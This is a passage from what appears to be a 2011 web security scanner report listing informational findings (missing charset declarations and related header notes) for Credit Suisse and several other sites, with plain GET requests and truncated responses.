<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.184. https://www.credit-suisse.com/us/fixed_income/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/fixed_income/en/index.jsp

Request

GET /us/fixed_income/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:18 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17755

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.185. https://www.credit-suisse.com/us/hedge_strategies/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/hedge_strategies/en/

Request

GET /us/hedge_strategies/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:52 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 20597

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.186. https://www.credit-suisse.com/us/hedge_strategies/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/hedge_strategies/en/index.jsp

Request

GET /us/hedge_strategies/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 20597

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.187. https://www.credit-suisse.com/us/multi_asset_class_solutions/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/multi_asset_class_solutions/en/

Request

GET /us/multi_asset_class_solutions/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:33 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 15701

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.188. https://www.credit-suisse.com/us/multi_asset_class_solutions/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/multi_asset_class_solutions/en/index.jsp

Request

GET /us/multi_asset_class_solutions/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:33 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 15701

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.189. https://www.credit-suisse.com/us/private_equity/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/private_equity/en/

Request

GET /us/private_equity/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 19593

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.190. https://www.credit-suisse.com/us/private_equity/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/private_equity/en/index.jsp

Request

GET /us/private_equity/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:41 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 19593

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.191. https://www.credit-suisse.com/us/privateadvisors/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/privateadvisors/en/

Request

GET /us/privateadvisors/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17557

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<!--

<navkit:parameter parameter='tab1' var='tab1' de
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC'>
<meta name='robots' content='FOLLOW'>
...[SNIP]...

17.192. https://www.credit-suisse.com/us/privatebanking/approach/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/privatebanking/approach/en/index.jsp

Request

GET /us/privatebanking/approach/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 16174

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.193. https://www.credit-suisse.com/us/privatebanking/bank/en/contact.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/privatebanking/bank/en/contact.jsp

Request

GET /us/privatebanking/bank/en/contact.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

17.194. https://www.credit-suisse.com/us/privatebanking/bank/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/privatebanking/bank/en/index.jsp

Request

GET /us/privatebanking/bank/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:18 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17271

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.195. https://www.credit-suisse.com/us/privatebanking/doc/ars_settlement_information.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/privatebanking/doc/ars_settlement_information.pdf

Request

GET /us/privatebanking/doc/ars_settlement_information.pdf HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:23 GMT
Accept-Ranges: bytes
Content-Length: 132823
Content-Type: application/pdf
Last-Modified: Fri, 24 Jul 2009 18:10:30 GMT
Connection: close

%PDF-1.2%....
17 0 obj<</H[896 256]/Linearized 1/E 109379/L 132823/N 3/O 21/T 132436>>endobj
xref
17 30
0000000016 00000 n
0000001152 00000 n
0000000896 00000 n
0000001227
...[SNIP]...

17.196. https://www.credit-suisse.com/us/privatebanking/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/privatebanking/en/

Request

GET /us/privatebanking/en/ HTTP/1.1
Host: www.credit-suisse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.credit-suisse.com/us/en/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CsgBasePath=/us/; SCDID_S=LXcVh5QS5GwUF4CWPIBkhbmPUuqF9LWwHmrmoyB0CVZ-O5s1JkxpiQ$$; imagerotation=0/0

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:31:19 GMT
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17738

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.197. https://www.credit-suisse.com/us/privatebanking/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/privatebanking/en/index.jsp

Request

GET /us/privatebanking/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17738

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.198. https://www.credit-suisse.com/us/privatebanking/investmentsolutions/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/privatebanking/investmentsolutions/en/index.jsp

Request

GET /us/privatebanking/investmentsolutions/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:17 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 19578

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.199. https://www.credit-suisse.com/us/privatebanking/multimedia/demo.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/privatebanking/multimedia/demo.html

Request

GET /us/privatebanking/multimedia/demo.html HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:23 GMT
Accept-Ranges: bytes
Content-Length: 2011
Content-Type: text/html
Last-Modified: Thu, 13 Jan 2011 14:12:03 GMT
Connection: close

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Demo</title>
<script language="javascript">
...[SNIP]...

17.200. https://www.credit-suisse.com/us/privatebanking/people/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/privatebanking/people/en/index.jsp

Request

GET /us/privatebanking/people/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:17 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 16101

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.201. https://www.credit-suisse.com/us/privatebanking/wealthservices/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/privatebanking/wealthservices/en/index.jsp

Request

GET /us/privatebanking/wealthservices/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:18 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 18607

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.202. https://www.credit-suisse.com/us/real_assets/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/real_assets/en/

Request

GET /us/real_assets/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:09 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 16289

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.203. https://www.credit-suisse.com/us/real_assets/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/real_assets/en/index.jsp

Request

GET /us/real_assets/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:13 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 16289

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.204. https://www.credit-suisse.com/who_we_are/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/who_we_are/en/

Request

GET /who_we_are/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 25650

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.205. https://www.credit-suisse.com/who_we_are/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/who_we_are/en/index.jsp

Request

GET /who_we_are/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

17.206. https://www.credit-suisse.com/who_we_are/en/locations_overview.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/who_we_are/en/locations_overview.jsp

Request

GET /who_we_are/en/locations_overview.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 21959

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.207. https://www.credit-suisse.com/who_we_are/en/office_locator.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/who_we_are/en/office_locator.jsp

Request

GET /who_we_are/en/office_locator.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

17.208. https://www.credit-suisse.com/who_we_are/it/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/who_we_are/it/index.jsp

Request

GET /who_we_are/it/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:50:46 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 20102

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.209. https://www.credit-suisse.com/who_we_are/it/locations_overview.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/who_we_are/it/locations_overview.jsp

Request

GET /who_we_are/it/locations_overview.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:50:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 15811

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.210. https://www.cyscape.com/%22/products/bhtg//%22 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/%22/products/bhtg//%22

Request

Response

17.211. https://www.cyscape.com/images/common/episodes.gif%22 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/images/common/episodes.gif%22

Request

Response

17.212. https://www.cyscape.com/order/order.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/order/order.asp

Request

Response

17.213. https://www.cyscape.com/products/bhawk/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/products/bhawk/

Request

Response

17.214. https://www.cyscape.com/products/bhtg/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/products/bhtg/

Request

Response

17.215. https://www.cyscape.com/products/bhtg/howitworks.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/products/bhtg/howitworks.aspx

Request

Response

17.216. https://www.onekingslane.com/corporate/careers/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/corporate/careers/

Request

Response

17.217. https://www.onekingslane.com/corporate/careers/tech/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/corporate/careers/tech/

Request

Response

18. HTML does not specify charset previous next
There are 21 instances of this issue:

http://www.coldbox.org/includes/images/MessageBox.png
https://www.credit-suisse.com/investment_banking/
https://www.credit-suisse.com/markets/emerging_markets/
https://www.credit-suisse.com/us/
http://www.csfb.com/locus/
http://www.csfb.com/warrants/map.shtml
https://www.cyscape.com/order/order.asp
http://www.demo.com/a/i/wht-org-grd.png
http://www.demo.com/a/l/ngconnect_108x54.gif
http://www.demosondemand.com/shared_components/javascript/launchDemoStage3PlayerClient_js.asp
http://www.goclio.com/
http://www.goclio.com/legal/privacy/
http://www.goclio.com/legal/tos/
http://www.goclio.com/our_customers/
http://www.goclio.com/signup/
http://www.goclio.com/tour/
http://www.idg.com/www/homenew.nsf/home
http://www.nationaldentalreviews.org/Handlers/ImageDisplay.ashx
http://www.ortussolutions.com/includes/images/ul_li.gif
http://www.spro.com/Default.asp
http://www.vormetric.com/

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

18.1. http://www.coldbox.org/includes/images/MessageBox.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/includes/images/MessageBox.png

Request

GET /includes/images/MessageBox.png HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://coldbox.org/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 14:50:38 GMT
Server: Apache
Last-Modified: Wed, 15 Jun 2011 05:00:20 GMT
ETag: "1de8c5-3bd-4a5b9077ce100"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 957
Content-Type: text/html

<HTML>
<HEAD>
<TITLE>404 Not Found</TITLE>
</HEAD>
<BODY>
<H1>Not Found</H1>
The requested document was not found on this server.
<P>
<HR>
<ADDRESS>
Web Server at coldbox.org
</ADDRESS>
</BODY>
</HTML
...[SNIP]...

18.2. https://www.credit-suisse.com/investment_banking/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/

Request

Response

18.3. https://www.credit-suisse.com/markets/emerging_markets/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/markets/emerging_markets/

Request

GET /markets/emerging_markets/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

18.4. https://www.credit-suisse.com/us/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/

Request

Response

18.5. http://www.csfb.com/locus/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.csfb.com
Path:	/locus/

Request

GET /locus/ HTTP/1.1
Host: www.csfb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Unknown Web Server
Date: Mon, 19 Sep 2011 14:46:28 GMT
Content-length: 445
Content-type: text/html
Cache-control: private
Last-modified: Thu, 15 Jul 2010 03:42:54 GMT
Etag: "1bd-4c3e83be"
Accept-ranges: bytes
Connection: close

<HTML>
<HEAD>
<TITLE>
Locus
</TITLE>
<SCRIPT>
function getQueryString() {
   var url = document.URL;
   var idx = url.indexOf("?");
   if (idx != -1) {
       var querystring = url.substring(idx + 1);
...[SNIP]...

18.6. http://www.csfb.com/warrants/map.shtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.csfb.com
Path:	/warrants/map.shtml

Request

GET /warrants/map.shtml HTTP/1.1
Host: www.csfb.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Unknown Web Server
Date: Mon, 19 Sep 2011 14:37:39 GMT
Content-type: text/html
Cache-control: private
Content-Length: 562

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>CSFB Warrants and other Securitised Investment Products</title>
<META HTTP-EQUIV="Refresh" CONTENT="0;URL=http
...[SNIP]...

18.7. https://www.cyscape.com/order/order.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/order/order.asp

Request

GET /order/order.asp?bhcp=1 HTTP/1.1
Host: www.cyscape.com
